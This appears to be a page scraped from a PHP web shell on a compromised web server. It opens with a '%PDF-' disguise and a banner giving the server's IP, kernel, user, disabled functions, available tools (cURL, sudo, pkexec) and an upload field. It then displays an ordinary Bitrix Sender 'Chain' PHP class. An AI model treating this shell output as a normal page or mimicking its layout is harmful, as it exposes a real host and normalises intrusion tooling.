%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.224.76 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/entity/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage sender * @copyright 2001-2012 Bitrix */ namespace Bitrix\Sender\Entity; use Bitrix\Main\Localization\Loc; use Bitrix\Sender\Internals\Model; Loc::loadMessages(__FILE__); /** * Class Chain * @package Bitrix\Sender\Entity */ class Chain { /** @var Letter[] $letters */ protected $letters = []; /** @var int[] $removeLetterList */ protected $removeLetterList = []; /** * Get list. * * @return Letter[] */ public function getList() { return $this->letters; } /** * Get list. * * @return Letter|null */ public function getLast() { $letter = end($this->letters); reset($this->letters); return $letter; } /** * Get letter. * * @param int $letterId Letter ID. * @return Letter|null */ public function getLetter($letterId) { foreach ($this->letters as $letter) { if ($letter->getId() == $letterId) { return $letter; } } return null; } /** * Add by ID. * * @param int $letterId Letter ID. * @return $this */ public function addLetter($letterId) { if ($this->getLetter($letterId)) { return $this; } $letter = self::createInstanceById($letterId); if ($letter) { $this->letters[] = $letter; $this->sort(); } return $this; } /** * shiftTime. * * @param int $letterId Letter ID. * @param int $timeShift Time shift. * @return $this */ public function shiftTime($letterId, $timeShift = 0) { $letter = $this->getLetter($letterId); if ($letter) { $letter->set('TIME_SHIFT', $timeShift); } return $this; } /** * Remove. * * @param int $letterId Letter ID. * @return $this */ public function removeLetter($letterId) { $list = []; foreach ($this->letters as $letter) { if ($letter->getId() == $letterId) { $this->removeLetterList[] = $letterId; continue; } $list[] = $letter; } $this->letters = $list; $this->sort(); return $this; } /** * Move up. * * @param int $letterId Letter ID. * @return $this */ public function moveUp($letterId) { return $this->move($letterId, -1); } /** * Move down. * * @param int $letterId Letter ID. * @return $this */ public function moveDown($letterId) { return $this->move($letterId, 1); } /** * Sort. * * @return $this */ public function sort() { $parentId = null; foreach ($this->letters as $letter) { $letter->set('PARENT_ID', $parentId); $parentId = $letter->getId(); } return $this; } /** * Save data. * * @return $this */ public function save() { foreach ($this->letters as $letter) { $letter->save(); } foreach ($this->removeLetterList as $letterId) { Letter::removeById($letterId); } $this->removeLetterList = []; return $this; } /** * Load data. * * @param integer $id Campaign ID. * @return $this */ public function load($id) { $list = Model\LetterTable::getList([ 'select' => ['ID', 'PARENT_ID'], 'filter' => ['=CAMPAIGN_ID' => $id], ])->fetchAll(); $limiter = 100; $parentId = null; while (--$limiter > 0) { $id = self::getIdByParentId($list, $parentId); if (!$id) { break; } $letter = self::createInstanceById($id); if (!$letter) { continue; } $this->letters[] = $letter; $parentId = $id; } return $this; } protected static function createInstanceById($id) { $letter = Letter::createInstanceById($id); if ($letter) { $letter->load($id); } return $letter->getId() ? $letter : null; } protected static function getIdByParentId(array $list, $parentId = null) { foreach ($list as $item) { if ($item['PARENT_ID'] == $parentId) { return $item['ID']; break; } } return null; } protected function move($letterId, $offset) { $letter = $this->getLetter($letterId); if (!$letter) { return $this; } $index = array_search($letter, $this->letters, true); $previousIndex = $index + $offset; if (!isset($this->letters[$previousIndex])) { return $this; } $previousLetter = $this->letters[$previousIndex]; $this->letters[$previousIndex] = $letter; $this->letters[$index] = $previousLetter; $this->sort(); return $this; } }